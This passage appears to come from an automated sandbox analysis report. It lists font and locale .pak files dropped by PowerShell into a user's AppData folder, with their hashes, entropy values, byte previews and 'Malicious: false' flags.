Preview:	......Copyright (c) 1992, 1993, 1994, 1999 Adobe Systems Incorpor.....,.,..................Q... .u.................................................4...............................d.2.2.d.....I.2.....PostScript.AdobeSerMM.AdobeSerifMM.R.`.......:.>...m.m...<...L.......w.....................<.<.<.).%.........s.S...3.^.....p.....-...-...>.......R.......e...e.<.....>.~...\|.;...d...3.*.].3.....v...y.........B.O.B.L...l...l.<.......................>.D...............................D.........R.`.....................<.L.......<...........................).................s.s.s.s.^.^.^.^.....-.-.-.-.-.<.-...............>.>.>.>.>.>.....;.;.;.;.3.3.3.3.v...v.v.v.v.v.<.v.........L...L...

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\SY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (Symbol 001.008)
Category:	dropped
Size (bytes):	34705
Entropy (8bit):	7.855714581856419
Encrypted:	false
SSDEEP:	768:2igXv39LX995GGTC4/HrcgXB7qtyiq/wX7RUzKR5tn:2dXv3JAGTC4DdHiAwlUzKR7n
MD5:	6FD0724D1FEE177ADAD6A13C65AF5268
SHA1:	6EFE2355D68306E2D5083895CED81002F7934EBC
SHA-256:	B0480C6F9CEE6BB87C1AE159A89A8A9D1FFA46E0AB70461FDF2FC291E2C94B4A
SHA-512:	61185EAFC64BF732A07ADD78FF6CF1BA3D0C988B64097F376018E5E710E35840A2556523AE6634C27CE45E47FFBDF36778452CCB3FA1F015DBCB02689F1E1797
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: Symbol 001.008.%%CreationDate: Fri Mar 28 22:03:48 1997.%%VMusage: 30820 39997.11 dict begin./FontInfo 10 dict dup begin./version (001.008) readonly def./Notice (Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.) readonly def./FullName (Symbol) readonly def./FamilyName (Symbol) readonly def./Weight (Medium) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def.end readonly def./FontName /Symbol def./Encoding 256 array.0 1 255 {1 index exch /.notdef put} for.dup 32 /space put.dup 33 /exclam put.dup 34 /universal put.dup 35 /numbersign put.dup 36 /existential put.dup 37 /percent put.dup 38 /ampersand put.dup 39 /suchthat put.dup 40 /parenleft put.dup 41 /parenright put.dup 42 /asteriskmath put.dup 43 /plus put.dup 44 /comma put.dup 45 /minus put.dup 46 /period put.dup 47 /slash put.dup 48 /zero put.dup 49 /one put.dup 50 /two put.dup 51 /three put.dup 52 /four put.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\ZX______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (AdobeSansMM 001.002)
Category:	dropped
Size (bytes):	75573
Entropy (8bit):	7.941988172738551
Encrypted:	false
SSDEEP:	1536:TGYo+k47OpUT9E64XnuCibOb9z6DU40fbmbZUHs:I47Opy9EBXVbVsUnTmbZR
MD5:	5EB6497FFAA36909F6B2A824054BD4D9
SHA1:	CC04C0CCAD1E9C10552F1AB7FAC45B0B529DE299
SHA-256:	BA8F3996FAD32C042BF1F474A08B7452F252060882DC4DE5A97EC389209E2301
SHA-512:	DD7A1B26DD041266404D86D6616C765EEDBFC71460CBCF15FCC02DE1704AE7E2892B25B6134017621F470768D4EB4A64010EC7FFEC459D0C669F107C66841CAA
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: AdobeSansMM 001.002.%%CreationDate: Tue Jan 12 16:26:35 1999.%%VMusage: 67223 80106.22 dict begin./FontInfo 14 dict dup begin./version (001.002) readonly def./Notice (Copyright (c) 1993, 1994, 1999 Adobe Systems Incorporated. All Rights Reserved.) readonly def./FullName (Adobe Sans MM) readonly def./FamilyName (Adobe Sans MM) readonly def./Weight (All) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def./BlendDesignPositions [ [0 0] [1 0] [0 1] [1 1] ] def./BlendDesignMap [[[50 0][1450 1]][[50 0][1450 1]]] def./BlendAxisTypes [/Weight /Width ] def.end readonly def./FontName /AdobeSansMM def./Encoding StandardEncoding def./PaintType 0 def./FontType 1 def./DesignVector [470 820] def./NormDesignVector [0.29999 0.54999 ] def./WeightVector [0.31502 0.13499 0.38499 0.16499 ] def./$Blend {0.13 mul exch 0.38 mul add exch 0.16 mul add add } bind def./FontMatrix [0.001 0 0 0.001 0 0] def./UniqueID 44278 def./X

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Font\ZY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (AdobeSerifMM 001.003)
Category:	dropped
Size (bytes):	96418
Entropy (8bit):	7.9615187818680555
Encrypted:	false
SSDEEP:	1536:SnSFGnyhqkcpFyFmkscxLFNv2FRle4Y/p+Nsz8Rc1wNbsGvStIjQIRiCt6b7VkV/:ESFSiqJKskP2FurRjp1cVvRj2j6/YhM
MD5:	72ABD7F6B6B7E6F2CCB06626AA8B46F1
SHA1:	F9CC5EFB748F4068AA08290EE58AA41F8BD4BB81
SHA-256:	1182FCC2FB887713FB954A804F83FAE3417C27B6929ECB07C5034DAC24586E8B
SHA-512:	D34A8D9FAC3EFEA7504F87B203C9074F7589CC726FCE0B23132EB14D75D2F9A5D67C13952F0F1FCE02FA44B786BDD17828C355471BD974B8D78A29ABFC8C7823
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: AdobeSerifMM 001.003.%%CreationDate: Tue Jan 12 15:56:45 1999.%%VMusage: 87626 100509.22 dict begin./FontInfo 14 dict dup begin./version (001.003) readonly def./Notice (Copyright (c) 1992, 1993, 1994, 1999 Adobe Systems Incorporated. All Rights Reserved.) readonly def./FullName (Adobe Serif MM) readonly def./FamilyName (Adobe Serif MM) readonly def./Weight (All) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def./BlendDesignPositions [ [0 0] [1 0] [0 1] [1 1] ] def./BlendDesignMap [[[110 0][790 1]][[100 0][900 1]]] def./BlendAxisTypes [/Weight /Width ] def.end readonly def./FontName /AdobeSerifMM def./Encoding StandardEncoding def./PaintType 0 def./FontType 1 def./DesignVector [300 600] def./NormDesignVector [0.27940 0.62500 ] def./WeightVector [0.27022 0.10478 0.45038 0.17462 ] def./$Blend {0.10 mul exch 0.45 mul add exch 0.17 mul add add } bind def./FontMatrix [0.001 0 0 0.001 0 0] def./UniqueID 4

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\am.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	148881
Entropy (8bit):	5.023492443024075
Encrypted:	false
SSDEEP:	3072:Mw1jZA/92t7Rh4rgEkDvuHqOVoZL5kiIEG/yZJjhSQVNLWGe/oqM0bvuo00kef9m:716eGurQfZx30jH8+x
MD5:	4E7DB89A9F5C07A295DE43B745E5658B
SHA1:	3F24CBC02D130ED156F1B4C57DC951A9238DC8EF
SHA-256:	4C0B4273DC4103C666FF01ED8B9DB995F68C5C178973465BB25CD5CDF99EF01A
SHA-512:	C4117D50E2B966345FF86AADE385552915BA41BB176FCDCD402FB54949377F00D17EEA384EC90DF2E3DB92354198CE600131B7609EEDF108F7B919D5BA330611
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..3..t..3..v.3..w.73..y.=3..z.L3..\|.R3..}.d3....l3....q3....y3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3....-4....L4....N4....R4....^4....n4.....4.....4.....4.....5.....5....55....85....95....E5....N5....j5....p5....w5.....5.....5.....5.....5....5..+..5..,..5../..6..0.(6..1..6..2..6..3..6..4..6..5..7..6..7..7..7..>..7..?..7..N..8..g..8..i..8..j..8..k."8..l.*8..xF/8..yF88..zFn8..{F.8...F.8...F.9...F.9...F:9...FI9...F`9...Fy9...F.9...F%:...F>:...F]:...Fo:...F.:...F.:...F.;...Fc<...F}<...F.<...F.<...F.<...F.=...F.>...F.?...F/?...F.?...F\@...FNA...FeA...F.A...F.A...F.C...F.D...F.E...FIF...F.F...F.F...F.F...F.F...F.F...F.G...F.G...F.G...F.H...F.H...F.H...F2I...F.I...F.J...F.J...F.J...F.K...F.K...F%K...F.K...FWK...F.K...F.K...F.K...F.K...F.K...F.L...F3L...F.L...F.L...F.M...F-M...F\M...FhM...FuM...F.M...F5N...F,Q...FfQ...F.Q...F.Q...F.Q...F.Q...F.R...F$R...F.R...F.S...F.S...F.S...F.S...F.T...F'T...F+T...F6T...F>T

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\ar.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	151672
Entropy (8bit):	5.100411656519944
Encrypted:	false
SSDEEP:	3072:qjf5HjSNsZaJBWGxyxMtxHSM2uZtE9yDSZ1B/G29KSI1+CsI1IiH2L2p:BNsRFoyCsI1Zd
MD5:	70BB1C831327B26E4DD74097F59A55B0
SHA1:	46CF431D19BFF9646AE6C6FD0C57E25664178D14
SHA-256:	776DB47DD91BCE8BC813A54A815BE3E73B6E58E9FE5F24DB7BF0D8C06A240F6A
SHA-512:	8F78D18E15EE86B801CB49EE4EE7F5DC06F9730181B849EDE944C5D922F7C7AB5814D7879399A712E8BB56B1878011552B6A667A6B8DCCEF6C6BE3F236C3F44A
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..2..t..3..v..3..w.)3..y./3..z.>3..\|.D3..}.V3....^3....c3....k3....s3....{3.....3.....3.....3.....3.....3.....3.....4....?4....q4....t4....x4.....4.....4.....4.....4.....4.....5....(5..../5....25....<5....F5....T5....^5....e5....{5.....5.....5.....5..*..5..+..5..,..5../..6..0..6..1.L6..2.a6..3.z6..4..6..5..6..6./7..7.P7..>..7..?..7..N..7..g..7..i..7..j..7..k..7..l..7..xF.7..yF.7..zF.7..{F.8...Fc8...Ft8...F\|8...F.8...F.8...F.8...F.8...FJ9...F.9...F.9...F.9...F.9...F.9...F.:...F.:...F\;...F.<...F2<...Fd<...Fy<...F.<...F^=...F]>...Fs>...F.>...F.>...F\|?...F.@...F!A...FFA...F.A...F.E...FtG...F.I...F.I...F.I...F.I...F.I...F.I...F.J...F^J...F.K...FKK...F.K...F.L...F)L...F.L...F&M...F.M...F!N...FqN...F.N...F.N...F.N...F.N...F.N...F.O...F3O...FYO...FZO...FsO...F.O...F.P...F:P...F.P...F.P...F.Q...F!Q...FBQ...FLQ...F^Q...F.Q...F.R...F.Z...F.Z...F.[...FA[...Fg[...F.[...F.[...F7\...F.\...F.]...FO]...F.]...F.]...F.]...F.]...F.]...F.]...F.]

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\fi.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	95737
Entropy (8bit):	5.4383641495599395
Encrypted:	false
SSDEEP:	1536:jw0tbGVUG8TQyRYFTTqIZq3Ik7414JEj6MEi18El0oR8QoFcb4EjjATcM1JhizRs:jw0tbUaTQuYFTTTq4Ug4JEjH18ElXRCV
MD5:	C865B2CAB8DD25682B40006832A4B604
SHA1:	0722C7157C96EFF7A4AC85A113CF21C4D0E27B1F
SHA-256:	528E453EE8FD16B6E2066B5417B115504CD31AFC4FFBD79206369C747CAAD1FE
SHA-512:	8EB3DBFF515E18F481F62E8F3AC17EA7674EA8ADF0C37B0BB2C5DA6C9914B9376A8DAC35F2E004A313FC5F2507E7200BFCC3B5973AE428DF147D93B26ED3965B
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..3..t..3..v.,3..w.93..y.?3..z.N3..\|.T3..}.f3....n3....s3....{3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4.....4....!4....&4....54....A4....S4....e4....t4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4..*..4..+..4..,..5../.-5..0.;5..1.s5..2..5..3..5..4..5..5..5..6..6..7..6..>.?6..?.H6..N.g6..g.r6..i.u6..j.y6..k.~6..l..6..xF.6..yF.6..zF.6..{F.6...F.6...F.6...F.6...F.7...F.7...F%7...F47...Fz7...F.7...F.7...F.7...F.7...F.7...F.8...Fz8...F.8...F<9...FO9...Fy9...F.9...F.9...F3:...F.:...F.:...F.;...FF;...F.;...F.<...F.<...F+<...FN<...F:=...F.=...F&>...FY>...Fy>...F.>...F.>...F.>...F.>...F.>...F.?...F3?...F.?...F.?...F.?...F.?...F&@...Fe@...F.@...F.@...F.@...F.A...F.A...F.A...F%A...F<A...FRA...FSA...FcA...FfA...F.A...F.A...F.A...F.B...F'B...F-B...FQB...FXB...FeB...F.B...F.B...F$D...F=D...FVD...FvD...F.D...F.D...F.D...F.D...F#E...FtE...F.E...F.E...F.F...F5F...FEF...FIF...FTF

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\fil.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	106027
Entropy (8bit):	5.201040061975769
Encrypted:	false
SSDEEP:	1536:jsSFtTdYhLVgQNqsszmNvuNpEWnGkHl1AM64CzPEchYkZKk175aXmAMD:zTdmq51AaCzh7MKsmAW
MD5:	60D50EE0763200548C9DF4B4BC712CD1
SHA1:	206F9CD895936FD7F597B72446C529881CDE9829
SHA-256:	500906AC9CAB570726FE2C3C819EEC3F88CB69F326857920D8423883C222C773
SHA-512:	F59A30F34EAB4BEC57B6E5D3E53E0B13B74DB64F50A9D7B33C9A6FAD63DE3A80A2436FE8483355D3632FABBC613E1AEB38A3792C4296773FBE50E23BA1E7DEE5
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..3..r..3..s.$3..t.-3..v.B3..w.O3..y.U3..z.d3..\|.j3..}.\|3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4....34....54....94....?4....I4....R4....i4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....5.....5..../5...=5..+.@5..,.^5../.v5..0..5..1..5..2..5..3..5..4..5..5..6..6.D6..7.Z6..>.v6..?.~6..N..6..g..6..i..6..j..6..k..6..l..6..xF.6..yF.6..zF.6..{F.6...F+7...F87...F@7...FO7...FU7...Fe7...Ft7...F.7...F.7...F.7...F.8...F.8...F,8...FT8...F.8...F)9...F.9...F.9...F.9...F.9...F.:...F.:...Fn;...F.;...F.;...F.;...F8<...F.<...F.<...F.<...F.=...F.>...FO?...F.?...F?@...F`@...Fj@...F~@...F.@...F.@...F.@...F.A...F-A...F.A...F.A...F.A...F.A...FdB...F.B...F.C...F7C...FgC...FrC...FzC...F.C...F.C...F.C...F.C...F.C...F.C...F.C...F.C...F.D...FD...F}D...F.D...F.D...F.D...F.D...F.D...F.D...F%E...F.E...F.G...F.G...F.G...F&H...F/H...FFH...F^H...FnH...F.H...F.I...FdI...F.I...F.I...F.I...F.J...F.J

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\fr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	112576
Entropy (8bit):	5.388351017884884
Encrypted:	false
SSDEEP:	3072:hPI7B3PxbJzThykykClc3wwTwajbIwKByroFDuFcZqslcaWyNf/Uv:hw75PxdzTIkykClKwGIwKgrwDuFArfsv
MD5:	B5BCE917FB4D322DAD4B26FEBAAEF09F
SHA1:	891FD73BA1C70BE635772386E4BF3CB13496FB59
SHA-256:	0DDB18E05D4A58C010A42207AF0FFDFAF12F9BEE29F6971459BD69FDF26B0E79
SHA-512:	A795E60A2197F4A2F9644E2B4C96635472E270274E991CC1130EDC64E112F2D527577FF3B7BF7539FC62E724687F82330BC59E3ADEAEB37000A60DCD4E503425
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..3..t..3..v.,3..w.93..y.?3..z.N3..\|.T3..}.f3....n3....s3....{3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4.....4.....4.... 4.....4....E4....]4....t4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4..*..5..+..5..,.)5../.@5..0.N5..1..5..2..5..3..5..4..5..5..5..6.26..7.C6..>.[6..?.f6..N.x6..g..6..i..6..j..6..k..6..l..6..xF.6..yF.6..zF.6..{F.6...F(7...F17...F<7...FR7...F]7...Ft7...F.7...F.7...F.8...F.8...F.8...F08...FT8...F.8...F.9...F.9...F3:...FO:...Fu:...F.:...F.:...F6;...F.<...F.<...F2<...Fd<...F.<...F.=...F.=...F.=...F.>...F.?...F.@...FJA...F.A...F.A...F.A...F.A...F.A...F.B...FlB...F.B...F.C...F0C...FCC...FxC...F.C...FcD...F.D...F.D...F"E...F+E...F2E...F6E...F<E...FUE...FcE...FvE...FwE...F.E...F.E...F.E...F.E...F.F...FEF...FbF...FpF...F.F...F.F...F.F...F.F...FWG...F.I...F.J...F.J...FDJ...FNJ...FcJ...F.J...F?K...F.K...F.K...F.L...F#L...F3L...FDL...FOL...FWL...FZL

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\gu.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	203977
Entropy (8bit):	4.478057079284449
Encrypted:	false
SSDEEP:	3072:twDmoa1A626WB8Z3i81cKHdO3Iu62oY/meBeQOR5q22Dv2pCbflLMWsCBDnZkSHl:tQ4Cv
MD5:	B0B1B848CEAFCAF9E0DCDE8BCF7492D8
SHA1:	39E929EBC69ACC4C6610B9C3382C49A376AC9052
SHA-256:	5A23541CE618F91B78A809FE91A0C68681E20018C4411E00D8C205AB1D850DBF
SHA-512:	7AC783936A15C1313DD7A68961EE98E4D351B60D3EF1E5BD89EF02456145FCCA5147884038950A8B9ED0DE7ED37ED6F3C2CE9B82DE5E3A426EC7E5E918E5B2C7
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..3..t..3..v..3..w.;3..y.A3..z.P3..\|.V3..}.h3....p3....u3....}3.....3.....3.....3.....3.....3.....3.....3.....4....F4....q4.....4.....4.....4.....4.....5....45....J5....l5.....5.....5.....5.....5.....5.....5.....6.....6....E6....X6....o6.....6.....6.....6.....6..*..7..+..7..,.)7../.]7..0..7..1..7..2..7..3. 8..4.Z8..5..8..6..8..7.'9..>..9..?..9..N..9..g..9..i..9..j..9..k..9..l..9..xF.9..yF.:..zFM:..{Fy:...F/;...FI;...FR;...F.;...F.;...F.;...F.;...F~<...F.<...F.<...F.=...F+=...Fg=...F.=...F.>...F.?...F.@...F.A...F.A...F.A...F.A...F,C...F.D...F.E...FFE...F.E...F.F...F.H...FMH...FmH...F.H...F.L...F.N...F9O...F.O...F!P...F1P...FJP...F\P...F.P...F.P...F.Q...F.Q...F.R...F$S...FVS...F.S...F.T...FjU...F!V...FiV...F.V...F.V...F.V...F.W...F.W...FfW...F.W...F.X...F.X...FHX...FKX...F.X...F.X...FzY...F.Y...F.Z...F Z...F\|Z...F.Z...F.Z...F.[...F.[...FAa...Fua...F.a...F.a...F.b...F<b...FVb...Fyb...F.c...F;d...F.d...F8e...F.e...F.e...F.e...F.e

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\he.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	127834
Entropy (8bit):	4.853527099518656
Encrypted:	false
SSDEEP:	3072:MSeD15QWmU6XrlH/piG5Bnm3XTnZ2F2j9V:MSeD15KPXrlH/piG5BnOXTnZ2F2j9V
MD5:	209974550CC2A835F1879995851B424A
SHA1:	F09850B9E7FFFCE197E362B9562CD0FF1C5C71ED
SHA-256:	CA440D0128B62E35333730C5925992AE5B4B05A37C10105A9145EB5CF7A77071
SHA-512:	4AB857ADEAB0E45F03868D1208D8F3250BBE27C5854BBC885E94E7E6ED8BCF9BDB2FF5035BEBB1958B345ECADF244DCC433D760643EA544066B32F3F1E266276
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..2..t..3..v..3..w.%3..y.+3..z.:3..\|.@3..}.R3....Z3...._3....g3....o3....w3....~3.....3.....3.....3.....3.....3.....3.....4....'4....D4....F4....J4....a4....z4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....5.....5....#5.....5....B5....J5....T5....{5..*..5..+..5..,..5../..5..0..5..1..6..2..6..3.76..4.[6..5..6..6..6..7..6..>..6..?..7..N.&7..g.37..i.67..j.:7..k.?7..l.G7..xFL7..yFT7..zFx7..{F.7...F.7...F.7...F.7...F.8...F.8...F18...FH8...F.8...F.8...F.8...F.9...F.9...F:9...Fv9...F.:...F.:...F<;...FT;...F.;...F.;...F.;...Fm<...F\=...Fy=...F.=...F.=...F.>...Fs?...F.?...F.?...F.?...FaB...F.C...F.D...F.E...FBE...FLE...FcE...FpE...F.E...F.E...F.F...FNF...F.F...F.G...F.G...FgG...F.G...F2H...F.H...F.H...F.H...F.I...F.I...F.I...F.I...FBI...F`I...FzI...F{I...F.I...F.I...F.I...F.J...F.J...F.J...F.J...F.J...F.K...F.K...F&K...FaK...F.L...F.O...F.O...F.O...F)P...F3P...FLP...FbP...FwP...F.Q...FUQ...F.Q...F.Q...F&R...FYR...FiR...FmR

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\hi.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	211379
Entropy (8bit):	4.444505410677775
Encrypted:	false
SSDEEP:	3072:XkOxgTgcwfKSj33cdEVhk7ovrCEO/S/bBfvTHef+a7BKfzzrRE3b8RLljlxCYPhb:rOCi8R
MD5:	FA034EB13D21CE4E9FC2D3EAFDF40CD2
SHA1:	0992D91706D26B6CC2FF64D899308BA4E9380A35
SHA-256:	1CA6A0546F9627FA9BA3D377D79A21FF26EC9B349D47247C9B241A70728D0699
SHA-512:	4F8024F43A70D9D8AE67848E2540B028CF1B9183B7DEDD66043FB16394601DA986D695C8D28F072444A69C1B2639C8B79096065389069FB854D152DB166ED734
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..2..t..2..v..3..w.!3..y.'3..z.63..\|.<3..}.N3....V3....[3....c3....k3....s3....z3.....3.....3.....3.....3.....4....>4....c4.....4.....4.....4.....4.....4.....4....#5....E5....g5.....5.....5.....5.....5.....5.....5.....6.....6..../6....[6....\|6.....6.....6.....6..*..6..+..6..,..7../.S7..0.j7..1..7..2..8..3.)8..4.h8..5..8..6..8..7.?9..>..9..?..9..N..9..g..9..i..9..j..:..k..:..l..:..xF.:..yF2:..zFw:..{F.:...FN;...Fr;...F~;...F.;...F.;...F.;...F.;...F.<...F.=...F2=...Fg=...Fw=...F.=...F;>...F2?...F.@...F.A...F?A...F~A...F.A...F.A...F"C...F.D...F.D...F(E...F.E...F.F...F.H...FDH...FuH...F.H...F.K...F&M...FaN...F.N...F&O...F<O...F[O...FmO...F.O...F.P...F_Q...F.Q...F.R...F.R...F.S...FRS...F(T...F.T...F.U...FdV...F.V...F.V...F.V...F.V...F;W...F.W...F.W...F.W...F.X...F.X...F.X...F2Y...F.Y...F.Z...FAZ...F.Z...F.Z...F.Z...F.[...F.\...F.b...FHc...F.c...F.c...F.d...F8d...F^d...F.d...F.e...FHf...F.f...F?g...F.g...F.g...F.g...F.g...F.g...F.h

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\hr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	101535
Entropy (8bit):	5.522777250626834
Encrypted:	false
SSDEEP:	3072:1JKdAGC/lemhlBExypakZUaO2sMMoLaz7v53Kkx9i:lHiKp
MD5:	624BCE9B02382312F4588D3147B738A3
SHA1:	8DF16C75C9E86A96D9F2B11E80EB182BA6C8EEF9
SHA-256:	64E531E46CF5B644D1B7F1DF885EFCF51A65DB50FAB65AB250F5E4E1ADFA9D29
SHA-512:	E74E56210CB3C184499DE4E0D9E57E8EE9D7314B93FB1A97030A3397CC47B91EC74C704B25FC4BD16F4C7680240AE1D39D69CD9F024DD52C90EAE9CC6C53B6AE
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..3..q..3..r..3..s.&3..t./3..v.D3..w.Q3..y.W3..z.f3..\|.l3..}.~3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4.....4.... 4....(4....44....B4....S4....f4....\|4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....5..*..5..+..5..,.05../.I5..0.O5..1..5..2..5..3..5..4..5..5..5..6.!6..7.:6..>.T6..?.]6..N.n6..g.w6..i.z6..j.~6..k..6..l..6..xF.6..yF.6..zF.6..{F.6...F.6...F.7...F.7...F.7...F.7...F:7...FK7...F.7...F.7...F.7...F.7...F.7...F.8...F58...F.8...F.9...Ff9...Fz9...F.9...F.9...F.9...F?:...F.:...F.;...F.;...F\;...F.;...F.<...F.<...F.<...F.<...F.>...F.?...F.@...F.@...F.@...F.@...F.A...F.A...F)A...FKA...F.A...F.A...F.B...F0B...FGB...FoB...F.B...F.C...FtC...F.C...F.C...F.C...F.C...F.C...F.C...F.D...F.D...F.D...F)D...F,D...F]D...F.D...F.D...F.D...F.D...F.E...F'E...F,E...F9E...F_E...F.E...F.H...F.H...F.H...F.I...F.I...F'I...F>I...FMI...F.I...F.I...FEJ...FpJ...F.J...F.J...F.J...F.J...F.J

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\hu.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	108879
Entropy (8bit):	5.649075357935098
Encrypted:	false
SSDEEP:	3072:a1WzOkbJiCwF/iGn1dgTrdA0RdpEtL1543ICJ:eSbY/iGkTtRdpEPu3ICJ
MD5:	CA8A821FF5A6B848C5A170FF9A97BB39
SHA1:	A98B91FA29848013CEF021EC8B3A29979CAC0C65
SHA-256:	FDD99D667419612BF98200783E0CCF0F7C11913CA03CA162D72D43F6861E5478
SHA-512:	E475A09E1F9F740B6C36C9B33B20F263896B869D8AC58848504DB29903A9597B84761B9C3918ADDC9C726D4429A0F496F44E3A8B0CCE9A3008D071A5D46BB5C6
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..3..s..3..t..3..v.23..w.?3..y.E3..z.T3..\|.Z3..}.l3....t3....y3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4...."4....64....84....<4....H4....O4....d4....y4.....4.....4.....4.....4.....4.....4.....4.....4.....5.....5.....5....45....:5....@5....b5..*.k5..+.n5..,..5../..5..0..5..1..5..2..5..3..5..4..6..5.66..6.n6..7..6..>..6..?..6..N..6..g..6..i..6..j..6..k..6..l..6..xF.6..yF.6..zF.7..{F#7...Fd7...Ft7...F{7...F.7...F.7...F.7...F.7...F.7...F.8...F-8...F@8...FE8...Fb8...F.8...F.8...Ff9...F.9...F.9...F":...F6:...FS:...F.:...F.;...F.;...F.;...F.<...F.<...F.=...F.=...F)=...FF=...F_>...F.>...FN?...F.?...F.?...F.?...F.?...F.?...F.@...F3@...F.@...F.@...F.A...FAA...FVA...F.A...F.B...FbB...F.B...F.B...F-C...F;C...FGC...FMC...FPC...FhC...F.C...F.C...F.C...F.C...F.C...F.C...F D...FlD...F.D...F.D...F.D...F.D...F.D...F.D...F.E...F{E...F.G...F4G...F\G...F.G...F.G...F.G...F.G...F.G...F7H...F.H...F.H...F.I...FBI...FhI...FxI...F.I

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\id.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	93327
Entropy (8bit):	5.359171376496657
Encrypted:	false
SSDEEP:	1536:QOle5KmKs/EKdQ95/SWlEmjUwRHeEJpkw5B4X1CPXsAzb2ZghMrREYwcCdAbJ:QdlQ95KWxpkwc8XsAzaZGMNwcCdO
MD5:	C26B55AA25D424653E75AC278B0BCA42
SHA1:	FB49A3940C6380D6AF38A82C95CA56CD3AEFBEAB
SHA-256:	03E35E4C8D682D80EBDE0492BA01D5A922766DAF70DF6CB2A22A5A5365ADFF1E
SHA-512:	B701AEE8C2D2490309C902CF152EA118D90429CAABFEF4774802319871BEC4C94FE41D5A305D6DF7B698CA051B21332A7422A63777470D781C70100FF758726F
Malicious:	false
